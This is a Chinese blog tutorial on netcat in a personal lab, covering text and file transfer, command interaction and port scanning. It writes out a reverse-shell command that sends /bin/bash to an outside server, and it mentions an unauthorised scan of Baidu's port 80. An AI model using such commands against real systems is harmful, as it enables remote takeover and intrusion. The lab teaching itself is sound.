实验环境
netcat简称nc,也被誉为网络安全界的瑞士军刀,正好这两天在很多大佬那学了点nc的操作,写篇文章纪念一下。
首先是nc的版本:
这台虚拟机的是kali系统,ip是192.168.17.131。
1 | ──(root㉿kali)-[~] |
另一台虚拟机为ubuntu系统,ip是192.168.10.10
1 | root@ubuntu:~# nc -h |
然后是外网的一台服务器,用的是centos系统,ip我将用Cip代替。
1 | [root@CentOS ~]# nc -h |
下面开始正式操作:
文字传输
基本文字传输
-首先在kali上开启监听
1 | nc -lp 222 |
-然后在ubuntu上尝试连接kali的222端口
1 | nc -vn 192.168.17.131 222 |
可以看到连接成功了,接着输入一些文字。
在kali上可以看到监听到的信息。
双方只要有一个键入ctrl+c就可以断开连接。
文件传输
基于同样的原理,只需要利用重定向符,将文件内容重定向到nc的标准输入,就可以完成文件传输。
命令交互
基本命令交互
-首先在kali上开启监听
1 | nc -p 222 |
-然后在ubuntu上尝试连接kali的222端口
1 | nc -vn 192.168.17.131 222 |
然后就可以进行命令交互了
内网弹 shell
-首先在服务器Centos上开启监听
1 | nc -lv 2333 |
-然后在kali上尝试连接服务器的2333端口,这里的Cip是服务器的ip
1 | nc -e /bin/bash Cip 2333 |
然后就可以进行命令交互了
内网弹shell的原理是利用nc的-e参数,连接后执行指定的命令,这里是/bin/bash。
同理,如果内网的虚拟机是windows系统,就可以将/bin/bash替换为cmd.exe。
扫描端口
nc的端口扫描并不是其主要功能,这里简单介绍一下
扫描单个端口
扫描成功后可获取改端口的一些信息,如扫描80端口,可获取其一些服务器信息。(如果它没有做任何防护的话,大胆扫描了一下百度的80端口,结果啥都没得到…)
1 | nc -v Targetip 端口 |
扫描多个端口
速度会比较慢
1 | nc -v -z Targetip 1-100 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Light!